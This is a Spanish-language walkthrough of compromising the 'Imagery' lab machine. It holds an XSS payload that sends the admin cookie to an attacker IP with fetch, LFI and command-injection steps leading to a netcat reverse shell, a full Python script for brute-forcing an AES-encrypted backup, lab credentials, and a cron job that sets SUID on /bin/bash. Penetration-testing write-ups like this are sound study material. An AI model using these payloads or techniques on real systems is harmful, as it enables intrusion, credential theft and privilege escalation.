Imagery (Medium)
root@SynAckLabs:~# ./show_index.sh
Resumen
Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un XSS en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un LFI para leer el código fuente (app.py), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de “crop” de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario mark y escalo privilegios abusando de una utilidad de gestión de Cron jobs mal configurada.

Escaneo y Reconocimiento
Comienzo con un escaneo de puertos estándar.
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Enumeración Web (Puerto 8000)
La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.

Bypass de Autenticación (Frontend)
Al investigar el proceso de login, intercepto la petición GET /auth que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor isAdmin: false.
Modifico la respuesta en vuelo (response manipulation) cambiando el valor a true.


Al no haber validación en el backend para la visualización del panel, logro acceder al Frontend de Administración.
Hay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.
Vemos que tenemos una pestaña de ManageGroups.

Acceso Inicial
XSS (Cross-Site Scripting)
En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.

Inyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.
El payload:
<img src=x onerror=fetch('http://10.10.14.53:8000/?pwned='+document.cookie)>


Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.
LFI (Local File Inclusion)
Con la sesión de administrador válida, accedo al panel real.

Encuentro una funcionalidad para descargar logs.

Puede ser una posible LFI.
Al probar payloads de Path Traversal, descubro que es efectivamente es vulnerable a LFI.

Intento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (Werkzeug) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.
Si buscamos ese fichero y config.py podremos ver la estructura entera del proyecto.
Apunto al archivo principal donde se guarda la base de datos de la aplicación: db.json.

Encontramos hashes de los usuarios.

- Usuario:
Testuser - Password:
imbatman
RCE (Remote Code Execution)
Analizando el código fuente descargado (api_edit), encuentro la función crop para recortar imágenes. Esta función utiliza una llamada al sistema con shell=True, lo que permite inyección de comandos. El código indica que esta función solo está disponible para el rol Testuser.

Me logueo con las credenciales obtenidas (Testuser:imbatman) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando busybox y nc.


Consigo acceso al sistema como www-data.
Movimiento Lateral: Usuario Mark
Enumeración y Cracking de Backup
Emeramos y podemos ver un archivo extraño de backups en la carpeta /var/backup/web---.zip.aes.

Descargo el archivo. Al ser un archivo .aes, necesito fuerza bruta. Desarrollo un script en Python utilizando pyAesCrypt para intentar descifrarlo usando el diccionario rockyou.txt.
Script de Cracking (Resumen):
El script itera sobre una wordlist, intentando descifrar el archivo conpyAesCrypt.decryptFile. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.
#!/usr/bin/env python3
"""
aes_bruteforce.py
Modo 1: wordlist (recomendado para CTFs) --rockyou
Modo 2: brute (solo para longitudes muy pequeñas o pruebas)
Uso:
python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345
Notas:
- Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
- Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
"""
import argparse
import pyAesCrypt
import tempfile
import os
import sys
from tqdm import tqdm
import itertools
import time
# Tamaño del buffer recomendado por pyAesCrypt
BUFFER_SIZE = 64 * 1024
def try_password(aesfile, password):
"""Intenta descifrar aesfile con password. Devuelve True si tiene éxito."""
# crear temporal para escribir la salida descifrada
tmpf = None
try:
tmp = tempfile.NamedTemporaryFile(delete=False)
tmpf = tmp.name
tmp.close()
# pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta
pyAesCrypt.decryptFile(aesfile, tmpf, password, BUFFER_SIZE)
# si llegamos aquí: posiblemente contraseña correcta
# comprobación simple: fichero resultado no vacío
ok = os.path.getsize(tmpf) > 0
return ok
except Exception as e:
# errores esperados: ValueError / IntegrityError etc. -> contraseña incorrecta
#print("debug:", repr(e))
return False
finally:
if tmpf and os.path.exists(tmpf):
try:
os.remove(tmpf)
except:
pass
def mode_wordlist(aesfile, wordlist_path, start_line=0, limit=None):
# Abrimos en modo texto (latin-1) para preservar bytes no ASCII
with open(wordlist_path, "r", encoding="latin-1", errors="ignore") as f:
# si quieres evitar contar líneas (doble pasada) para wordlists muy grandes,
# usa tqdm sin total. Aquí elegimos no contar si limit is None para ser más rápido.
if start_line:
for _ in range(start_line):
if not f.readline():
break
pbar = None
if limit is not None:
# Si hay límite, mostramos un tqdm con total=limit
pbar = tqdm(total=limit, desc="probando wordlist", unit="pwd")
tried = 0
while tried < limit:
line = f.readline()
if not line:
break
tried += 1
pwd = line.strip()
if try_password(aesfile, pwd):
print(f"[+] ¡Contraseña encontrada! -> {pwd}")
if pbar: pbar.close()
return pwd
pbar.update(1)
if pbar: pbar.close()
print("[-] No encontrada en este segmento.")
return None
else:
# Sin límite: iteramos hasta el final. tqdm sin total (más rápido, no doble lectura)
pbar = tqdm(desc="probando wordlist", unit="pwd")
for line in f:
pwd = line.strip()
if try_password(aesfile, pwd):
print(f"[+] ¡Contraseña encontrada! -> {pwd}")
pbar.close()
return pwd
pbar.update(1)
pbar.close()
print("[-] No encontrada en esta wordlist.")
return None
def mode_brute(aesfile, charset, min_len=1, max_len=3, prefix=""):
# ADVERTENCIA: espacio de búsqueda crece exponencialmente.
print(f"[!] Bruteforce: charset={charset} min={min_len} max={max_len} (esto puede ser muy lento)")
for length in range(min_len, max_len + 1):
total = len(charset) ** length
print(f"Probando longitudes = {length} (combinaciones: {total})")
# usamos itertools.product
for tup in tqdm(itertools.product(charset, repeat=length), total=total):
pwd = prefix + "".join(tup)
if try_password(aesfile, pwd):
print(f"[+] ¡Contraseña encontrada! -> {pwd}")
return pwd
print("[-] No encontrada en el rango solicitado.")
return None
def main():
ap = argparse.ArgumentParser(description="Brute/wordlist attack para .aes (pyAesCrypt)")
ap.add_argument("--file", "-f", required=True, help="archivo .aes (input)")
ap.add_argument("--wordlist", "-w", help="ruta a wordlist (ej. rockyou.txt)")
ap.add_argument("--start-line", type=int, default=0, help="saltarse X líneas de la wordlist (útil para reanudar)")
ap.add_argument("--limit", type=int, default=None, help="limitar número de intentos desde la wordlist")
ap.add_argument("--brute", action="store_true", help="activar modo brute force (muy lento)")
ap.add_argument("--charset", type=str, default="abcdefghijklmnopqrstuvwxyz0123456789", help="charset para brute")
ap.add_argument("--min", type=int, default=1, help="min longitud brute")
ap.add_argument("--max", type=int, default=3, help="max longitud brute")
ap.add_argument("--prefix", type=str, default="", help="prefijo para brute (divide búsqueda)")
args = ap.parse_args()
if not os.path.exists(args.file):
print("Archivo no encontrado:", args.file)
sys.exit(1)
# modo wordlist
if args.wordlist:
if not os.path.exists(args.wordlist):
print("Wordlist no encontrada:", args.wordlist); sys.exit(1)
print("[*] Modo wordlist activo. Ten paciencia.")
found = mode_wordlist(args.file, args.wordlist, start_line=args.start_line, limit=args.limit)
if found:
return
# modo brute
if args.brute:
found = mode_brute(args.file, args.charset, min_len=args.min, max_len=args.max, prefix=args.prefix)
if found:
return
print("[*] Finished. No password found with the given inputs.")
if __name__ == "__main__":
main()


Consigo la contraseña y descomprimo el backup. Dentro encuentro una versión anterior de la base de datos que contiene el hash del usuario mark.

Crackeo el hash de Mark:
- Hash: (obtenido del backup)
- Contraseña:
supersmash

Me conecto por SSH y obtenemos la user flag.
Escalada de Privilegios
Abuso de Cron Jobs
Como usuario mark, enumero el sistema

y encuentro una aplicación local (charcol) que permite gestionar backups encriptados.


Permite gestionar tareas programadas (Cron Jobs).
Esta utilidad parece tener permisos excesivos al ejecutarse en el contexto de root. Aprovecho la funcionalidad para crear un nuevo cron job malicioso.

En lugar de un script legítimo, configuro una tarea que otorgue permisos SUID a /bin/bash.
Comando inyectado en el Cron:
chmod u+s /bin/bash

Espero a que el cron se ejecute (probablemente cada minuto). Verifico los permisos de bash:


Imagery has been Pwned!